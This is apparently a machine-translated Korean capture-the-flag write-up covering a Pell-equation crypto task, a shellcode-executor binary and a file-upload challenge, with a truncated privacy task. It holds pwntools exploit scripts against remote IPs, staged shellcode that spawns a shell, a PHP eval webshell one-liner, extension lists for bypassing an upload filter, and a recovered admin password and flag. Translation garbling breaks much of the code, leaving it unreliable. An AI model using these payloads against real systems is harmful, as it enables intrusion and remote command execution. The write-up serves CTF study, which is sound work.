1. 데이터 보안 질문
1 .as
예와 질문을보고 쓰기 Exp
def pell_recurrence (x1, y1, x, y, d) :
x_next=x1 * x + d * y1 * y
y_next=x1 * y + y1 * x
x_next, y_next를 반환합니다
#믿다
def generate_until_threshold (x1, y1, d, 임계 값) :
x, y=1, 0
솔루션=[(x, y)]
반복=0
True:
x, y=pell_recurrence (x1, y1, x, y, d)
반복 +=1
Solutions.Append ((X, Y))
x 임계 값과 y 임계 값인 경우
부서지다
반품 솔루션, 반복, (x, y)
################################################### #######################################################################################YOUMYYM
def main () :
D=42232
X1, Y1=10863430363390444672094671043496198963286006933268451418419427752345999, 52862312812076818203801374519259164308207980652808243827880652144787200
임계 값=2 **0x149f
솔루션, 반복, last_solution=generate_until_threshold (x1, y1, d, 임계 값)
print (f 'x={last_solution [0]}')
print (f 'y={last_solution [1]}')
n1=(Last_Solution [0] -1) //2
n2=last_solution [1]
인쇄 (N1)
인쇄 (N2)
__name__=='__ 메인 __': 인 경우
main ()
N1=6484456464385494958985160233577839841735795804473541907965865471825503785272678822222223754144416 5172555010268946547371838387582496807783872409495175343418420178605123847893899093406677173844538 634240765920500106813530272923710062024324879910469788878708717896042881627844174314231125376214954 191547729867576758551671299193867007260053941673833333312842542794986302553731384956828280106931847810 5747928749942182896044998865749248512370269452313096224318388047216423763541300420337417782206304 4408922159647529108936153248709307757583423432206558845108059414461593855011448692345628664306 83959981553165969134977744797440777424234381471672458781349375368354137657751284194009683337 897606497230343157092891975885033309810185295961357191249517789616682247175593069461888888888813 059885471926155737315230514752046521202893304056240282834692548759885970543898301236709193423 0242946589463785934444443029018424523547397999999943751900954643195971492238007190552442974382991653088 94827406935888888888888947780910754797043403338315077248175845012048361045898033382579417081596422 21431364092087627932238340345061520303793480769731939908956253484222391138185162719396503715138316 61159295598370595261204299608982637315116533642003066669261874318917777777511599010768666767007935738 23935662067654373217132550909022471458326286291025447386537438528458980011935439932582958912 542652555558695373047067726351358183876589163636096276667169682852304974550725035557641675806757 3954596043890492834784253219485112525030553753092423333264250758350828806805623873239302114836480000
N2=6310775778373158072121506050012120110110737000921159830860487405951913977629845084436128491344735820 400264903056115667281579073327945532438949038244192826523764101532018565743490392509759609697887 88325444231817568932630406378290843956256970846735492761586936928880019298918917442234446613339985 3927778347597501992783349577759948389598413174615232愚人节340208973243584337320359607836900037507 801983941584013345449804347344405786017144561862888858206999995555557864335810426614970929579975227 4011822253828253846093465289623440363883250259046741321911200142678063796240523447461120883480 9003855546323206318760733316353796062046207210640529484343373700073814417337348039530722450965823938 028647293309243825273560981374529318529342514017856189789915212062470755198888904264788869371756843 8766117594474482828255975342557814885279693013920359743897278354653848976322146722301616470057230 068271661333034555567071000363844315811357274703954155522493794845091481848371069289334733846351 3562506182502826257198176485230753980573080357918135532017187134962666791602751075678752308935413 19068679146341573352252143049354837544407433056725122793002161618380935544441531642048116980907626 42324815609182517988506268150630360407065284691305601280740083579032479034947212812440317249494943 3411188350035978075888936279816925317068991219980838476317761440997387670316498292979999928354912 238925949073238723303504957174689978086401613054702477445158411519923503718585827273942555857158966 004358344039029898799405479632695043708918494502587524196559584122132413440460209140828413581600
NC 연결 제출
username3:admin-jm password:jm001x를 얻으십시오!
FLAG:
MD5 (admin-JM+JM001X!)
또는:
#SAGE 9.5
crypto.util.number import *에서 *
PWN 가져 오기 *
SYS 가져 오기
sys.set_int_max_str_digits (0)
DEF 상호 작용 (IO, X, Y) :
io.recvuntil (b': ')
io.sendline (b'2 ')
io.recvuntil (b'n1 ~ ')
io.sendline (str (x) .encode ())
io.recvuntil (b'n2 ~ ')
io.sendline (str (y) .encode ())
io.recvline ()
반환 io.recvline ()
D=42232
Check=2 **0x149f
def solve_pell (n) :
cf=conayd_fraction (sqrt (n))
i=0
WHILETRUE:
I +=1
Denom=cf.denominator (i)
숫자=cf.numerator (i)
if (((숫자 -1) //2)=check) 또는 (Denom=Check) :
계속 계속하십시오
숫자^2 -n * delom^2==1: 인 경우
x, y=int ((숫자 -1) //2), int (denom)
RES=상호 작용 (io, x, y)
ifb'sorry'in res:
계속 계속하십시오
반환 해상도
IO=원격 ('47 .117.41.252 ','33410 ')
context.log_level='디버그'
RES=SOLVE_PELL (D)
인쇄 (RES)
io.interactive ()
#b'verify success! 사용자 이름 [admin-jm], 당신의 비밀번호 [jm001x!] ~ 'Final Flag:
B7133D84297C307A92E70D7727F55CBC
2.SCSC
제목 설명 :
프로그램 취약점을 사용하여 info_sec 파일에서 데이터 정보를 얻고 11 행, 열에서 데이터를 제출하십시오.
질문의 프로세스 : SCSC Binary 파일을 얻었을 때 정적으로 컴파일되었고 라이브러리 기능이없고 기호 테이블이 없어서 이름이없는 라이브러리 기능이 없음을 발견했습니다.
여기서 우리는 역 기술을 사용합니다. 일부 기호 테이블을 복원하는 세 가지 방법이 있습니다.
다른 버전의 SIG 파일을 사용하고, Bindiff 사용을 복원하고, 다른 LIBC 파일을 사용하고, 라이브러리 기능의 기계 코드를 비교하고 지문 플러그인을 사용하여 기능 이름을 복원하십시오 (인터넷에 연결해야 함). 개인적으로 가장 이상적인 효과는 지문 플러그인이라고 생각합니다. 이 게임은 끊임없이 온라인 상태이므로 사용합니다. 그것은 LIBC를 인식 할뿐만 아니라 그것 없이는 C ++ 라이브러리를 사용했다는 것을 모르겠습니다. 여기서 우리는 회복 후 효과를 보여줍니다
이 프로그램은 AES 암호 해독 함수 세트 Shellcode Executor이며 일부 가시 문자를 비활성화합니다. 문자를 필터링하지 않고 Shellcode를 암호화하고 전송해야합니다.
다음은 ShellCode를 사용하여 읽기를 작성하고 점프 한 다음 일반 쉘 코드를 입력하는 가장 쉬운 방법입니다. 여기에서 보이는 문자 필터링은 "SH"및 다양한 64 비트 레지스터 작업을 제한합니다. 그래서 32 비트 레지스터를 사용하여 쉽게 우회하고 SYS_READ를 켜고 ShellCode를 주입, GetShell을 사용했습니다.
PWN 가져 오기 *
std_pwn 가져 오기 *
Crypto에서 Cipher Import AES에서
crypto.util.padding 가져 오기 패드
DefgetProcess (IP, 포트, 이름) :
글로벌 p
iflen (sys.argv) 1 및 sys.argv [1]=='r':
P=원격 (IP, 포트)
반환 p
else:
p=프로세스 (이름)
반환 p
SL=LAMBDA X: P.SENDLINE (X)
SD=Lambda x: P.Send (X)
SA=Lambda X, Y: P.SendAfter (X, Y)
SLA=LAMBDA X, Y: P.Sendlinter (x, y)
RC=Lambda X: P.RECV (X)
rl=lambda: p.recvline ()
ru=lambda x: p.recvuntil (x)
ita=lambda: p.interactive ()
SLC=LAMBDA: ASM (Shellcraft.sh ())
uu64=lambda x: u64 (x.ljust (8, b '\ 0'))
UU32=Lambda x: U32 (x.ljust (4, b '\ 0'))
# Return SL, SD, SA, SLA, RC, RL, RU, ITA, SLC, UU64, UU32
defaes_ecb_encrypt (PlainText) :
인쇄 (일반 텍스트)
C inb'0Moyhjlcit1zkbnrnchag':의 경우
일반 텍스트 3: 인 경우
print (f '{chr (c)} in in it!')
# 육각형 문자열 키를 바이트로 변환합니다
키=B'862410C4F93B77B4 '
# AES 암호화를 만듭니다
cipher=aes.new (key, aes.mode_ecb)
# 일반 텍스트를 채우고 암호화하십시오
padded_plaintext=pad (PlainText, aes.block_size)
ciphertext=cipher.encrypt (padded_plaintext)
# ciphertext를 16 진수 문자열로 변환하고 반환합니다
Ciphertext를 반환하십시오
shellcode='' '
RSP를 푸시하십시오
팝 RSI
Mov Edi, 0
Mov EDX,0xff
RDI를 푸시하십시오
팝 락스
SYSCALL
JMP RSP
'' ''
# 01ayhcjitkbn molznrchg
p=getProcess ('47 .117.42.74 ', 32846,'./scsc ')
Context (os='linux', arch='amd64', log_level='debug', terminal=[ 'tmux', 'splitw', '-h']))).
ELF=ELF ( './SCSC')
GDBA ()
페이로드=ASM (ShellCode)
SA ( 'Magic Data:', AES_ECB_ENCRYPT (ASM (ShellCode))))
SL (ASM (Shellcraft.sh ()))
ita () 또는
#!/usr/bin/env python3
PWN 가져 오기 *
context.log_level='디버그'
context.arch='amd64'
# io=프로세스 ( './SCSC')
IO=원격 ('47 .117.41.252 ', 33414)
shellcode='' '
XCHG R8, RAX
XCHG R8, RSI
서브 edi, edi
Mov EDX,0x99
서브 eax, eax
SYSCALL
'' ''
payload1=asm (shellcode)
print ( 'shellcode=', payload1.hex ())
Payload1=bytes.fromHex ( 'e29ACA48E52D1D59C539C172262E56C7AEAE3B0EBB4E872FA01F84506AD7C26')
payload2=b '\ x90'*len (payload1) + asm (shellcraft.sh ())
# gdb.attach (io)
io.sendlinter (b'magic data: ', payload1)
정지시키다()
io.send (payload2)
io.interactive ()
3. ez_upload
제목 설명 :
이 질문에는 테스트 질문에 대한 첨부 파일이 없습니다. 첨부 파일 다운로드 버튼을 무시하십시오! 서버는 암호화 된 데이터에 대해 RSA 키 파일을 저장합니다. 관리자는 서버 사이트를 유지 관리 할 때 취약한 테스트 사이트를 제 시간에 수리하지 않았습니다. RSA 키가있는 경로를 제출하십시오 (제출 스타일 : 파일이있는 경로가 /var /www 인 경우 제출 답변은 /var /www).
문제 절차 :
예비 아이디어, 말을 전달하고, getshell을 통과 한 다음 RSA와 관련된 파일을 찾으십시오.
HTML과 PHP는 모두 WAF에 의해 떨어집니다. 접미사는 파일 내용을 감지하는 데 사용될 수 있습니다.
Content-Type: Text/Html waf this
접미사는 wafed, html, php,htaccess, '. php', '. php5', '. php4', '. php3', '. php2', '. html', '. htm', '. pht', '. p ht ','. php ','. php5 ','. php4 ','. php3 ','. php2 ','. html ','. htm ','. phtml,user.ini
이렇게하지 않습니다. 그러나 phtml 접미사의 에코는이 맥락이 아닙니다.
PHP7.2 이상, HTACCESS 파일을 구성해야합니다
PNG 2 렌더링이 아닙니다
미들웨어는 아파치이며 취약성을 해결합니까?
파일 내용이 확인되고 PHP를 포함하는 컨텐츠는 WAF에 의해 삭제됩니다.
성공적으로 말을 통과했습니다
?=@eval ($ _ post [ 'cmd']);
RSA 키를 찾는 경로는/var/www/rssss4a입니다
4. 데이터 공개 및 개인 정보 보호
제목 설명 :
홍보 부서의 기술 지원 직원으로서, 과도한 데이터 탈감작으로 인해 뛰어난 자원 봉사자를 공개적으로 칭찬하는 활동을 수행 할 때 개인 정보를 정확하게 식별 할 수 없어
여러 자원 봉사자들이 정보에 대해 혼란스러워합니다. 첨부 파일에서 《题目说明文档》의 작업 요구 사항에 따라 문제를 해결하십시오.
문제 절차 :
항목 :open 파일 - 테이블 Base64 암호화 - 시간 ()을 사용하여 의사 랜덤 배열 생성 - exoor 암호화 - 새 파일에 쓰기
Recommended Comments